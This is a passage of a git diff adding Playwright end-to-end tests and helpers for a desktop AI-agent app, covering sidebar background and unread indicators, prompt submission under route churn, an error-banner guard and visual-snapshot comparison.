+    await page.screenshot({ path: testInfo.outputPath('queued-during-compaction.png') })
+
+    fixture.mock.releaseHeldStream()
+    await expect.poll(() => receivedUserTexts().filter(text => text === queued).length).toBe(1)
+    expect(fixture.mock.heldCompletionCount()).toBe(1)
+  })
+})
diff --git a/ui-desktop/e2e/sidebar-states.spec.ts b/ui-desktop/e2e/sidebar-states.spec.ts
new file mode 100644
index 000000000..6d8c0c2c9
--- /dev/null
+++ b/ui-desktop/e2e/sidebar-states.spec.ts
@@ -0,0 +1,268 @@
+/**
+ * E2E tests for desktop sidebar states — background processes, subagents,
+ * and session dot transitions.
+ *
+ * The mock server returns scripted tool_calls that the agent executes for
+ * real (trivial commands + real subagent delegations). The tests assert the
+ * sidebar states driven by real gateway events.
+ *
+ * Prerequisite: `npm run build` must have been run so dist/ exists.
+ */
+
+import { expect, test, type Page } from '@playwright/test'
+
+import {
+  type MockBackendFixture,
+  setupMockBackend,
+  waitForAppReady,
+} from './fixtures'
+import {
+  createBackgroundReleaseHandle,
+  restartMockServer,
+  SIDEBAR_CROSS_TEXTS,
+  SIDEBAR_TEXTS,
+} from './mock-server'
+
+/** Background-running dot aria-label (from i18n en.ts). */
+const BG_DOT_LABEL = 'Background task running'
+/** Finished-unread dot aria-label. */
+const UNREAD_DOT_LABEL = 'Finished — unread'
+
+/** Send a message and wait for the final response to appear. */
+async function sendMessageAndWait(
+  page: Page,
+  trigger: string,
+  finalText: string,
+  timeout = 90_000,
+): Promise<void> {
+  const composer = page.locator('[contenteditable="true"]').first()
+  await composer.waitFor({ state: 'visible', timeout: 10_000 })
+  await composer.click()
+  await composer.type(trigger, { delay: 20 })
+  await page.keyboard.press('Enter')
+
+  await page.waitForFunction(
+    () => (document.body.textContent ?? '').includes('E2E_'),
+    undefined,
+    { timeout: 15_000 },
+  )
+
+  await page.waitForFunction(
+    (text) => (document.body.textContent ?? '').includes(text),
+    finalText,
+    { timeout },
+  )
+}
+
+// ────────────────────────────────────────────────────────────────────────
+// Test 1: background process + subagent appear in sidebar during turn
+// ────────────────────────────────────────────────────────────────────────
+
+test.describe('sidebar states — background process and subagent', () => {
+  test.describe.configure({ mode: 'serial' })
+
+  let fixture: MockBackendFixture
+
+  test.beforeAll(async () => {
+    restartMockServer()
+    fixture = await setupMockBackend()
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterAll(async () => {
+    await fixture?.cleanup()
+  })
+
+  test('background process dot appears and disappears, subagent runs, final answer visible', async () => {
+    const page = fixture.page
+
+    await sendMessageAndWait(page, 'E2E_SIDEBAR_TRIGGER', SIDEBAR_TEXTS.finalText)
+
+    // The background process (sleep 1) should have shown a "Background task
+    // running" dot at some point during the turn. We try to catch it; if
+    // the process was too fast, that's OK — the real assertion is that the
+    // final answer appeared and the dot is gone afterward.
+    try {
+      await expect
+        .poll(
+          () => page.locator(`[aria-label="${BG_DOT_LABEL}"]`).count(),
+          { timeout: 15_000, message: 'background dot should appear' },
+        )
+        .toBeGreaterThan(0)
+    } catch {
+      // sleep 1 may have finished before we polled — not a failure.
+    }
+
+    // After the turn completes and auto-dismiss fires, the background dot
+    // should be gone.
+    await page.waitForTimeout(8000)
+    const bgCount = await page.locator(`[aria-label="${BG_DOT_LABEL}"]`).count()
+    expect(bgCount, 'background dot should be gone after auto-dismiss').toBe(0)
+
+    // Evidence: capture the final state — no background dot, final answer visible.
+    await page.screenshot({ path: 'test-results/bg-dot-gone-after-dismiss.png' })
+
+    // The final answer text must be in the transcript.
+    const viewportText = await page
+      .locator('[data-slot="aui_thread-viewport"]')
+      .textContent()
+    expect(viewportText).toContain(SIDEBAR_TEXTS.finalText)
+  })
+})
+
+// ────────────────────────────────────────────────────────────────────────
+// Test 2: subagent running shows background dot too (longer bg process)
+// ────────────────────────────────────────────────────────────────────────
+
+test.describe('sidebar states — subagent and background dot coexist', () => {
+  test.describe.configure({ mode: 'serial' })
+
+  let fixture: MockBackendFixture
+
+  test.beforeAll(async () => {
+    restartMockServer()
+    fixture = await setupMockBackend()
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterAll(async () => {
+    await fixture?.cleanup()
+  })
+
+  test('background dot visible while subagent runs', async () => {
+    const page = fixture.page
+
+    // Start the turn but DON'T wait for the final answer yet — we want
+    // to assert the background dot is visible WHILE the subagent runs.
+    const composer = page.locator('[contenteditable="true"]').first()
+    await composer.waitFor({ state: 'visible', timeout: 10_000 })
+    await composer.click()
+    await composer.type('E2E_SIDEBAR_CROSS', { delay: 20 })
+    await page.keyboard.press('Enter')
+
+    // Wait for the user's message to appear.
+    await page.waitForFunction(
+      () => (document.body.textContent ?? '').includes('E2E_SIDEBAR_CROSS'),
+      undefined,
+      { timeout: 15_000 },
+    )
+
+    // The background process (sleep 5) should show a "Background task
+    // running" dot while the subagent is also running.
+    await expect
+      .poll(
+        () => page.locator(`[aria-label="${BG_DOT_LABEL}"]`).count(),
+        { timeout: 30_000, message: 'background dot should appear while subagent runs' },
+      )
+      .toBeGreaterThan(0)
+
+    // Evidence: the background dot is visible while the subagent runs.
+    await page.screenshot({ path: 'test-results/bg-dot-while-subagent-runs.png' })
+
+    // Now wait for the final answer to appear.
+    await page.waitForFunction(
+      (text) => (document.body.textContent ?? '').includes(text),
+      SIDEBAR_CROSS_TEXTS.finalText,
+      { timeout: 90_000 },
+    )
+
+    // After the turn + auto-dismiss, the background dot should be gone.
+    await page.waitForTimeout(8000)
+    const bgCount = await page.locator(`[aria-label="${BG_DOT_LABEL}"]`).count()
+    expect(bgCount, 'background dot should be gone after process exits').toBe(0)
+  })
+})
+
+// ────────────────────────────────────────────────────────────────────────
+// Test 3: cross-session — dot updates when viewing a different session
+// ────────────────────────────────────────────────────────────────────────
+
+test.describe('sidebar states — cross-session dot transition', () => {
+  test.describe.configure({ mode: 'serial' })
+
+  let fixture: MockBackendFixture
+  // Keeps the background process alive until this test releases it, so the
+  // "still running after the turn finished" state can't expire on its own.
+  const bgRelease = createBackgroundReleaseHandle()
+
+  test.beforeAll(async () => {
+    restartMockServer()
+    fixture = await setupMockBackend({
+      mockServer: { backgroundReleasePath: bgRelease.path },
+    })
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterAll(async () => {
+    // Release first so the process exits even if the test failed early,
+    // then drop the sentinel file.
+    bgRelease.release()
+    await fixture?.cleanup()
+    bgRelease.cleanup()
+  })
+
+  test('background dot transitions to finished when viewing another session', async () => {
+    const page = fixture.page
+
+    // Start a turn whose background process runs until we release it.
+    const composer = page.locator('[contenteditable="true"]').first()
+    await composer.waitFor({ state: 'visible', timeout: 10_000 })
+    await composer.click()
+    await composer.type('E2E_SIDEBAR_CROSS', { delay: 20 })
+    await page.keyboard.press('Enter')
+
+    // Wait for the background dot to appear.
+    await expect
+      .poll(
+        () => page.locator(`[aria-label="${BG_DOT_LABEL}"]`).count(),
+        { timeout: 30_000, message: 'background dot should appear' },
+      )
+      .toBeGreaterThan(0)
+
+    // Wait for the final answer (turn completes, but bg process still running).
+    await page.waitForFunction(
+      (text) => (document.body.textContent ?? '').includes(text),
+      SIDEBAR_CROSS_TEXTS.finalText,
+      { timeout: 90_000 },
+    )
+
+    // The background dot must still be visible: the turn is done but the
+    // process is held open by the sentinel, so this is a stable state rather
+    // than a window we have to catch in time.
+    const bgDuringTurn = await page.locator(`[aria-label="${BG_DOT_LABEL}"]`).count()
+    expect(bgDuringTurn, 'background dot should still be visible after turn completes').toBeGreaterThan(0)
+
+    // Evidence: bg dot visible on session A while its turn is done but the
+    // background process hasn't exited yet.
+    await page.screenshot({ path: 'test-results/cross-session-bg-dot-before-switch.png' })
+
+    // Create a new session (click "New session" button).
+    await page.locator('button:has-text("New session")').first().click()
+    await page.waitForTimeout(2000)
+
+    // Now let the background process finish. The session A dot should
+    // transition away from "background running".
+    bgRelease.release()
+    await expect
+      .poll(
+        () => page.locator(`[aria-label="${BG_DOT_LABEL}"]`).count(),
+        { timeout: 30_000, message: 'background dot should disappear after process finishes' },
+      )
+      .toBe(0)
+
+    // The original session should show a "finished unread" indicator (green dot)
+    // since its turn completed while we were in a different session. This is an
+    // event-driven transition, so wait for it instead of sampling the DOM right
+    // after the running dot disappears.
+    await expect
+      .poll(
+        () => page.locator(`[aria-label="${UNREAD_DOT_LABEL}"]`).count(),
+        { timeout: 30_000, message: 'original session should show finished-unread dot' },
+      )
+      .toBeGreaterThan(0)
+
+    // Evidence: the green "finished unread" dot on the original session after
+    // switching to a new session — the cross-session dot transition.
+    await page.screenshot({ path: 'test-results/cross-session-unread-dot-after-switch.png' })
+  })
+})
diff --git a/ui-desktop/e2e/submit-drift.spec.ts b/ui-desktop/e2e/submit-drift.spec.ts
new file mode 100644
index 000000000..a3c447c9c
--- /dev/null
+++ b/ui-desktop/e2e/submit-drift.spec.ts
@@ -0,0 +1,75 @@
+/**
+ * Regression coverage for #69578: harmless route-token churn during a send
+ * must not make the desktop silently drop the prompt before prompt.submit.
+ */
+
+import { test, expect } from './test'
+
+import {
+  type MockBackendFixture,
+  setupMockBackend,
+  waitForAppReady,
+} from './fixtures'
+
+const PROMPT = 'E2E route token drift must still submit this prompt.'
+
+let fixture: MockBackendFixture | null = null
+
+test.beforeAll(async () => {
+  fixture = await setupMockBackend()
+  await waitForAppReady(fixture!, 120_000)
+})
+
+test.afterAll(async () => {
+  await fixture?.cleanup()
+  fixture = null
+})
+
+test('submits while same-chat search tokens churn during new-session creation', async ({}, testInfo) => {
+  const { page, mock } = fixture!
+  const composer = page.locator('[contenteditable="true"]').first()
+
+  await composer.click()
+  await composer.type(PROMPT, { delay: 10 })
+
+  // The submit pipeline snapshots the route synchronously, then awaits session
+  // creation. Keep changing only the query string of whichever chat route is
+  // current. Before #69578, comparing the raw route token treated this as a
+  // user chat switch and aborted before prompt.submit.
+  await page.evaluate(() => {
+    let revision = 0
+    const interval = window.setInterval(() => {
+      const pathname = window.location.hash.slice(1).split(/[?#]/, 1)[0] || '/new'
+      window.location.hash = `${pathname}?e2e-route-churn=${revision++}`
+    }, 1)
+
+    ;(window as typeof window & { __e2eStopRouteChurn?: () => void }).__e2eStopRouteChurn = () => {
+      window.clearInterval(interval)
+    }
+  })
+
+  try {
+    await page.keyboard.press('Enter')
+
+    await expect
+      .poll(() => mock.receivedPrompts.includes(PROMPT), { timeout: 60_000 })
+      .toBe(true)
+
+    await page.waitForFunction(
+      prompt => document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent?.includes(prompt) ?? false,
+      PROMPT,
+      { timeout: 15_000 },
+    )
+    await page.waitForFunction(
+      () => document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent?.includes('mock inference server') ?? false,
+      undefined,
+      { timeout: 60_000 },
+    )
+  } finally {
+    await page.evaluate(() => {
+      ;(window as typeof window & { __e2eStopRouteChurn?: () => void }).__e2eStopRouteChurn?.()
+    })
+  }
+
+  await page.screenshot({ path: testInfo.outputPath('same-chat-route-churn-submitted.png') })
+})
\ No newline at end of file
diff --git a/ui-desktop/e2e/test.ts b/ui-desktop/e2e/test.ts
new file mode 100644
index 000000000..659e641c1
--- /dev/null
+++ b/ui-desktop/e2e/test.ts
@@ -0,0 +1,166 @@
+/**
+ * Extended Playwright test fixture that auto-fails any test if an error
+ * banner (notification toast with role="alert") appears in the DOM.
+ *
+ * The desktop app surfaces errors as `[data-slot="alert"][role="alert"]`
+ * elements (see components/notifications.tsx). When one appears during a
+ * test, it means something went wrong (resume failed, boot error, etc.)
+ * — the test should fail with the error message, not silently pass while
+ * an error toast is visible on screen.
+ *
+ * Usage: import { test, expect } from './test' instead of
+ * '@playwright/test'. The guard is auto-installed on every page — no
+ * per-spec setup needed.
+ */
+
+import { test as base, expect, type Page, type ElectronApplication, _electron } from '@playwright/test'
+
+// Track error messages per test so afterEach can assert + report.
+const seenErrors: string[] = []
+let activePage: Page | null = null
+// When true, the afterEach guard skips the error-banner check.
+// Set by tests that deliberately trigger error states (e.g. boot-failure).
+let errorBannersAllowed = false
+
+/**
+ * Opt out of the error-banner guard for the current test. Call in
+ * test.beforeEach or at the top of a test body when error banners are
+ * expected (e.g. boot-failure tests that deliberately trigger errors).
+ */
+export function allowErrorBanners(): void {
+  errorBannersAllowed = true
+}
+
+/**
+ * Install the error-banner guard on a page. Watches for `[role="alert"]`
+ * elements appearing in the DOM. When one is found, records its text
+ * content for the afterEach assertion.
+ *
+ * Exported so e2e fixture functions (which create pages via _electron.launch)
+ * can install the guard on their custom pages — the default Playwright `page`
+ * fixture override only catches pages created by Playwright itself, not
+ * pages created by the test's own Electron launch.
+ */
+export function installErrorBannerGuard(page: Page): void {
+  activePage = page
+
+  // Clear any errors from a previous test when a new page is created.
+  seenErrors.length = 0
+
+  // Use a MutationObserver to catch error banners as they appear.
+  // We inject this via addInitScript so it runs before any app code.
+  page.addInitScript(() => {
+    const seen: string[] = []
+    ;(window as unknown as { __ERROR_BANNER_GUARD__?: string[] }).__ERROR_BANNER_GUARD__ = seen
+
+    const observer = new MutationObserver(() => {
+      const alerts = document.querySelectorAll('[role="alert"]')
+
+      for (const alert of alerts) {
+        const text = (alert.textContent ?? '').trim()
+
+        if (text && !seen.includes(text)) {
+          seen.push(text)
+        }
+      }
+    })
+
+    // Start observing once the DOM is ready.
+    if (document.body) {
+      observer.observe(document.body, { childList: true, subtree: true })
+    } else {
+      document.addEventListener('DOMContentLoaded', () => {
+        observer.observe(document.body, { childList: true, subtree: true })
+      })
+    }
+  })
+
+  // Also poll via evaluate — MutationObserver via addInitScript can miss
+  // elements that appear during the Electron renderer's initial mount
+  // (before the observer is installed). A periodic poll catches those.
+  page.on('console', () => {
+    // Console messages are not errors — but we keep the listener to
+    // ensure the page context is active for our evaluate calls.
+  })
+}
+
+/**
+ * Check for error banners that appeared during the test. Called in
+ * afterEach via the custom fixture below. Also exported so specs that
+ * manage their own page lifecycle can call it directly.
+ */
+export async function collectErrorBanners(page: Page | null): Promise<string[]> {
+  if (!page) {
+    return []
+  }
+
+  try {
+    // Read errors collected by the MutationObserver in the page context.
+    const pageErrors = await page.evaluate(() => {
+      const w = window as unknown as { __ERROR_BANNER_GUARD__?: string[] }
+
+      return [...(w.__ERROR_BANNER_GUARD__ ?? [])]
+    })
+
+    // Also do a final DOM scan for any alert elements still visible.
+    const domAlerts = await page
+      .locator('[role="alert"]')
+      .allTextContents()
+      .catch(() => [] as string[])
+
+    const all = [...new Set([...pageErrors, ...domAlerts.map(t => t.trim()).filter(Boolean)])]
+    seenErrors.push(...all)
+
+    return [...new Set(seenErrors)]
+  } catch {
+    // Page might be closed — return whatever we have.
+    return [...new Set(seenErrors)]
+  }
+}
+
+// Extended test fixture: wraps the default page with the error guard.
+export const test = base.extend({
+  // Override the page fixture to auto-install the guard.
+  page: async ({ page }, use) => {
+    installErrorBannerGuard(page)
+    await use(page)
+  },
+})
+
+// afterEach: fail the test if any error banners appeared.
+// Always fires — even if the test already failed for another reason.
+// An error banner often IS the root cause (e.g. "resume failed" from a
+// backend bug), and suppressing it when the test also fails on an
+// assertion hides the real problem.
+//
+// Uses `activePage` (set by installErrorBannerGuard) instead of the
+// default `page` fixture — Electron tests create their own page via
+// app.firstWindow(), so the default `page` fixture is undefined.
+base.afterEach(async ({}, testInfo) => {
+  const wasAllowed = errorBannersAllowed
+  // Reset for the next test.
+  errorBannersAllowed = false
+
+  if (wasAllowed) {
+    // Test opted out — clear any collected errors without asserting.
+    seenErrors.length = 0
+    return
+  }
+
+  const errors = await collectErrorBanners(activePage)
+
+  if (errors.length > 0) {
+    throw new Error(
+      `Error banner(s) appeared during test "${testInfo.title}":\n` +
+        errors.map(e => `  • ${e}`).join('\n'),
+    )
+  }
+})
+
+// Reset for the next test file.
+base.afterAll(async () => {
+  seenErrors.length = 0
+  activePage = null
+})
+
+export { expect, type Page, type ElectronApplication, _electron }
diff --git a/ui-desktop/e2e/tile-unread-bug.spec.ts b/ui-desktop/e2e/tile-unread-bug.spec.ts
new file mode 100644
index 000000000..fa614a21d
--- /dev/null
+++ b/ui-desktop/e2e/tile-unread-bug.spec.ts
@@ -0,0 +1,240 @@
+/**
+ * E2E tests for the tile-unread bug — two scenarios:
+ *
+ * 1. TAB (stacked, not visible) — a session opened as a tab via ⌃-click is
+ *    NOT visible on screen. When it finishes, the green "unread" dot IS
+ *    correct — the user isn't looking at it. This test PASSES.
+ *
+ * 2. SPLIT (side-by-side, visible) — a session dragged to the edge of the
+ *    workspace zone opens as a split tile, visible on screen at the same time
+ *    as the main session. When it finishes, it should NOT get the green
+ *    "unread" dot — the user is looking right at it. This test FAILS until
+ *    the fix in session-states.ts:174 lands (the unread check only compares
+ *    against $selectedStoredSessionId and ignores $sessionTiles).
+ *
+ * Prerequisite: `npm run build` must have been run so dist/ exists.
+ */
+
+import { expect, test } from '@playwright/test'
+
+import {
+  type MockBackendFixture,
+  setupMockBackend,
+  waitForAppReady,
+} from './fixtures'
+import {
+  type BackgroundReleaseHandle,
+  createBackgroundReleaseHandle,
+  restartMockServer,
+  SIDEBAR_CROSS_TEXTS,
+} from './mock-server'
+
+/** Finished-unread dot aria-label. */
+const UNREAD_DOT_LABEL = 'Finished — unread'
+/** Background-running dot aria-label. */
+const BG_DOT_LABEL = 'Background task running'
+
+/** Locate a session's sidebar row by its preview text. */
+function sessionRow(page: import('@playwright/test').Page, text: string) {
+  return page.locator('[data-slot="sidebar"] button').filter({ hasText: text }).first()
+}
+
+/** Common setup: start a turn with a held bg process + subagent, wait for
+ *  the turn to complete, then switch to a new session so the first session is
+ *  no longer $selectedStoredSessionId (required before opening a tile). */
+async function startTurnAndSwitchAway(page: import('@playwright/test').Page) {
+  // Send E2E_SIDEBAR_CROSS — starts a turn with sleep 5 + subagent.
+  const composer = page.locator('[contenteditable="true"]').first()
+  await composer.waitFor({ state: 'visible', timeout: 10_000 })
+  await composer.click()
+  await composer.type('E2E_SIDEBAR_CROSS', { delay: 20 })
+  await page.keyboard.press('Enter')
+
+  // Wait for the user's message to appear.
+  await page.waitForFunction(
+    () => (document.body.textContent ?? '').includes('E2E_SIDEBAR_CROSS'),
+    undefined,
+    { timeout: 15_000 },
+  )
+
+  // Wait for the background dot — confirms the turn is running.
+  await expect
+    .poll(
+      () => page.locator(`[aria-label="${BG_DOT_LABEL}"]`).count(),
+      { timeout: 30_000, message: 'background dot should appear' },
+    )
+    .toBeGreaterThan(0)
+
+  // Wait for the turn to complete (final answer visible).
+  await page.waitForFunction(
+    (text) => (document.body.textContent ?? '').includes(text),
+    SIDEBAR_CROSS_TEXTS.finalText,
+    { timeout: 90_000 },
+  )
+
+  // The background dot must still be visible: the turn is done but the
+  // process is held open by the sentinel, so this is a stable state rather
+  // than a window we have to catch in time.
+  const bgDuringTurn = await page.locator(`[aria-label="${BG_DOT_LABEL}"]`).count()
+  expect(bgDuringTurn, 'background dot should still be visible after turn completes').toBeGreaterThan(0)
+
+  // Switch to a new session — session A is no longer $selectedStoredSessionId.
+  // This is required: openSessionTile bails if the session is already selected.
+  await page.locator('button:has-text("New session")').first().click()
+  await page.waitForTimeout(2000)
+}
+
+/** Release the held background process, then wait for its dot to clear. */
+async function waitForBgProcessToFinish(
+  page: import('@playwright/test').Page,
+  release?: BackgroundReleaseHandle,
+) {
+  release?.release()
+  await expect
+    .poll(
+      () => page.locator(`[aria-label="${BG_DOT_LABEL}"]`).count(),
+      { timeout: 30_000, message: 'background dot should disappear after process finishes' },
+    )
+    .toBe(0)
+}
+
+// ────────────────────────────────────────────────────────────────────────
+// Test 1: TAB (not visible) — unread dot IS correct (PASSES)
+// ────────────────────────────────────────────────────────────────────────
+
+test.describe('sidebar states — tab (hidden) unread is correct', () => {
+  test.describe.configure({ mode: 'serial' })
+
+  let fixture: MockBackendFixture
+  const bgRelease = createBackgroundReleaseHandle()
+
+  test.beforeAll(async () => {
+    restartMockServer()
+    fixture = await setupMockBackend({
+      mockServer: { backgroundReleasePath: bgRelease.path },
+    })
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterAll(async () => {
+    bgRelease.release()
+    await fixture?.cleanup()
+    bgRelease.cleanup()
+  })
+
+  test('session opened as a tab (not visible) correctly gets unread dot', async () => {
+    const page = fixture.page
+
+    await startTurnAndSwitchAway(page)
+
+    // Evidence: session A is in the background (bg dot in sidebar).
+    await page.screenshot({ path: 'test-results/tile-bug-tab-switched-away.png' })
+
+    // ⌃-click opens the session as a TAB (center dock = stacked, not visible
+    // unless it's the active tab). The session is NOT on screen.
+    const row = sessionRow(page, SIDEBAR_CROSS_TEXTS.finalText)
+    await row.click({ modifiers: ['Control'] })
+    await page.waitForTimeout(2000)
+
+    // Evidence: the tab is open but the session is not visible on screen.
+    await page.screenshot({ path: 'test-results/tile-bug-tab-opened.png' })
+
+    await waitForBgProcessToFinish(page, bgRelease)
+
+    // A tab that's not the active tab IS hidden — the unread dot is correct.
+    // The user is NOT looking at it, so marking it "unread" is right.
+    //
+    // Poll rather than sampling once: "finished-unread" is an event-driven
+    // transition that lands slightly after the running dot clears, and with a
+    // released (rather than slowly-expiring) process there is no incidental
+    // slack between the two. Same reasoning as the cross-session spec.
+    await expect
+      .poll(
+        () => page.locator(`[aria-label="${UNREAD_DOT_LABEL}"]`).count(),
+        { timeout: 30_000, message: 'hidden tab should be marked unread' },
+      )
+      .toBeGreaterThan(0)
+
+    await page.screenshot({ path: 'test-results/tile-bug-tab-unread-correct.png' })
+  })
+})
+
+// ────────────────────────────────────────────────────────────────────────
+// Test 2: SPLIT (visible) — unread dot is WRONG (FAILS until fix)
+// ────────────────────────────────────────────────────────────────────────
+
+test.describe.skip('sidebar states — split (visible) unread bug (RED)', () => {
+  test.describe.configure({ mode: 'serial' })
+
+  let fixture: MockBackendFixture
+  const bgRelease = createBackgroundReleaseHandle()
+
+  test.beforeAll(async () => {
+    restartMockServer()
+    fixture = await setupMockBackend({
+      mockServer: { backgroundReleasePath: bgRelease.path },
+    })
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterAll(async () => {
+    bgRelease.release()
+    await fixture?.cleanup()
+    bgRelease.cleanup()
+  })
+
+  test('session visible in a split tile does NOT get unread dot when it finishes', async () => {
+    const page = fixture.page
+
+    await startTurnAndSwitchAway(page)
+
+    // Evidence: session A is in the background (bg dot in sidebar).
+    await page.screenshot({ path: 'test-results/tile-bug-split-switched-away.png' })
+
+    // Drag the session row from the sidebar to the right edge of the workspace
+    // zone to create a SPLIT (side-by-side) tile. This triggers the real
+    // startSessionDrag → onCommit → openSessionTile(id, 'right', anchor) path.
+    const row = sessionRow(page, SIDEBAR_CROSS_TEXTS.finalText)
+    const rowBox = await row.boundingBox()
+    expect(rowBox, 'session row must be visible').not.toBeNull()
+
+    // Find the workspace zone — the main chat area. We drop on its right edge.
+    const workspace = page.locator('[data-session-anchor="workspace"]')
+    const wsBox = await workspace.boundingBox()
+    expect(wsBox, 'workspace zone must be visible').not.toBeNull()
+
+    // Drag from the session row to the right edge of the workspace.
+    // The drag-session's subZonePosition resolves a right-edge drop as 'right'
+    // (a split dock), not 'center' (which would be a composer link).
+    await page.mouse.move(rowBox!.x + rowBox!.width / 2, rowBox!.y + rowBox!.height / 2)
+    await page.mouse.down()
+    // Move in steps so the drag-session's pointermove handler tracks the
+    // position and resolves the drop zone (a single jump can miss the
+    // threshold/engage logic).
+    const targetX = wsBox!.x + wsBox!.width - 20
+    const targetY = wsBox!.y + wsBox!.height / 2
+    const steps = 10
+    for (let i = 1; i <= steps; i++) {
+      const x = rowBox!.x + rowBox!.width / 2 + (targetX - (rowBox!.x + rowBox!.width / 2)) * (i / steps)
+      const y = rowBox!.y + rowBox!.height / 2 + (targetY - (rowBox!.y + rowBox!.height / 2)) * (i / steps)
+      await page.mouse.move(x, y)
+      await page.waitForTimeout(30)
+    }
+    await page.mouse.up()
+    await page.waitForTimeout(2000)
+
+    // Evidence: the split tile is now open side-by-side — both sessions visible.
+    await page.screenshot({ path: 'test-results/tile-bug-split-opened.png' })
+
+    await waitForBgProcessToFinish(page, bgRelease)
+
+    // THE BUG: the session visible in the split tile should NOT have the green
+    // "finished unread" dot — the user is looking right at it. This assertion
+    // FAILS until the fix in session-states.ts:174 lands.
+    const unreadCount = await page.locator(`[aria-label="${UNREAD_DOT_LABEL}"]`).count()
+    expect(unreadCount, 'session visible in a split tile should NOT be marked unread').toBe(0)
+
+    // Evidence: the green dot should NOT be here — this screenshot shows the bug.
+    await page.screenshot({ path: 'test-results/tile-bug-split-unread-should-not-exist.png' })
+  })
+})
diff --git a/ui-desktop/e2e/visual-snapshot.ts b/ui-desktop/e2e/visual-snapshot.ts
new file mode 100644
index 000000000..df1bdc9d7
--- /dev/null
+++ b/ui-desktop/e2e/visual-snapshot.ts
@@ -0,0 +1,150 @@
+/**
+ * Visual snapshot helper — wraps `toHaveScreenshot` so visual diffs are
+ * reported without failing the test suite.
+ *
+ * On CI, the JSON reporter + post-test script parse the results and post a
+ * summary to the GitHub Actions step output, and diff images are uploaded
+ * as artifacts.  This keeps visual regressions visible without gating PRs
+ * on pixel-perfect matches.
+ *
+ * The actual screenshot is always written to the test output dir so CI
+ * artifacts include every screenshot — not just the ones that diffed.
+ * When it differs, this helper also writes expected and diff images:
+ *   <name>-actual.png, <name>-expected.png, <name>-diff.png
+ */
+import fs from 'node:fs'
+import path from 'node:path'
+
+import { type ElectronApplication, type Page, test } from '@playwright/test'
+
+/** Fixed window dimensions for visual regression screenshots. */
+export const VISUAL_WINDOW_WIDTH = 1220
+export const VISUAL_WINDOW_HEIGHT = 800
+
+export interface VisualSnapshotOptions {
+  /** Snapshot name — defaults to the test title. */
+  name?: string
+  /** Full page screenshot vs. viewport-only (default). */
+  fullPage?: boolean
+  /** Timeout in ms. */
+  timeout?: number
+  /** The Electron app handle — used to size and decode screenshots. */
+  app: ElectronApplication
+}
+
+/**
+ * Force the Electron window to a fixed size so screenshots are comparable
+ * across runs and CI environments.  Window managers (Hyprland, etc.) may
+ * auto-tile or resize windows after launch; calling this right before the
+ * screenshot ensures the viewport is always the expected size.
+ */
+async function forceFixedSize(app: ElectronApplication): Promise<void> {
+  await app.evaluate(({ BrowserWindow }, { width, height }) => {
+    const win = BrowserWindow.getAllWindows()[0]
+
+    if (win) {
+      win.unmaximize()
+      // setMinimumSize must be ≤ the target, otherwise setSize is clamped.
+      win.setMinimumSize(width, height)
+      win.setSize(width, height, false)
+      win.setBounds({ x: 0, y: 0, width, height })
+    }
+  }, { width: VISUAL_WINDOW_WIDTH, height: VISUAL_WINDOW_HEIGHT })
+}
+
+/**
+ * Take a screenshot and compare it against the baseline.
+ *
+ * If the baseline doesn't exist yet (first run), Playwright creates it.
+ * If it differs, the test logs a soft warning but does NOT fail — the diff
+ * images are still generated for CI to surface.
+ */
+export async function expectVisualSnapshot(
+  page: Page,
+  options: VisualSnapshotOptions,
+): Promise<void> {
+  const { name, fullPage = false, timeout = 30_000, app } = options
+
+  // Force the window to a fixed size right before the screenshot so it's
+  // always comparable, regardless of WM resizing during the test.
+  await forceFixedSize(app)
+  // Give the renderer a moment to relayout after the resize.
+  await page.waitForTimeout(500)
+
+  // Playwright appends a platform suffix (e.g. "-linux") and requires
+  // a .png extension on the name argument.  Auto-append it if missing.
+  const snapshotName = name ? (name.endsWith('.png') ? name : `${name}.png`) : undefined
+
+  const info = test.info()
+  const actual = await page.screenshot({ animations: 'disabled', caret: 'hide', fullPage, timeout })
+  const baselinePath = info.snapshotPath(snapshotName ?? `${info.title}.png`)
+  const outputName = (snapshotName ?? 'snapshot.png').replace(/\.png$/, '')
+
+  if (info.config.updateSnapshots === 'all' || info.config.updateSnapshots === 'changed') {
+    fs.mkdirSync(path.dirname(baselinePath), { recursive: true })
+    fs.writeFileSync(baselinePath, actual)
+    // Also write to the output dir so CI artifacts include the screenshot.
+    fs.writeFileSync(info.outputPath(`${outputName}-actual.png`), actual)
+    console.log(`[visual-baseline] updated ${baselinePath}`)
+    return
+  }
+
+  if (!fs.existsSync(baselinePath)) {
+    fs.writeFileSync(info.outputPath(`${outputName}-actual.png`), actual)
+    console.log(`[visual-diff] ${name ?? '(unnamed)'} — no baseline available`)
+    return
+  }
+
+  const expected = fs.readFileSync(baselinePath)
+  const comparison = await app.evaluate(
+    ({ nativeImage }, images) => {
+      const actualImage = nativeImage.createFromBuffer(Buffer.from(images.actual, 'base64'))
+      const expectedImage = nativeImage.createFromBuffer(Buffer.from(images.expected, 'base64'))
+      const actualSize = actualImage.getSize()
+      const expectedSize = expectedImage.getSize()
+
+      if (actualSize.width !== expectedSize.width || actualSize.height !== expectedSize.height) {
+        return { mismatchRatio: 1, diff: images.actual }
+      }
+
+      const actualPixels = actualImage.toBitmap()
+      const expectedPixels = expectedImage.toBitmap()
+      const diffPixels = Buffer.alloc(actualPixels.length)
+      let mismatched = 0
+
+      for (let i = 0; i < actualPixels.length; i += 4) {
+        const different =
+          Math.abs(actualPixels[i] - expectedPixels[i]) > 51 ||
+          Math.abs(actualPixels[i + 1] - expectedPixels[i + 1]) > 51 ||
+          Math.abs(actualPixels[i + 2] - expectedPixels[i + 2]) > 51 ||
+          Math.abs(actualPixels[i + 3] - expectedPixels[i + 3]) > 51
+
+        if (different) {
+          mismatched++
+          diffPixels[i + 2] = 255
+        }
+        diffPixels[i + 3] = 255
+      }
+
+      return {
+        mismatchRatio: mismatched / (actualPixels.length / 4),
+        diff: nativeImage.createFromBitmap(diffPixels, actualSize).toPNG().toString('base64'),
+      }
+    },
+    { actual: actual.toString('base64'), expected: expected.toString('base64') },
+  )
+
+  // Always write the actual screenshot to the output dir so CI artifacts
+  // include every screenshot — not just the ones that diffed.
+  fs.writeFileSync(info.outputPath(`${outputName}-actual.png`), actual)
+
+  if (comparison.mismatchRatio <= 0.01) {
+    return
+  }
+
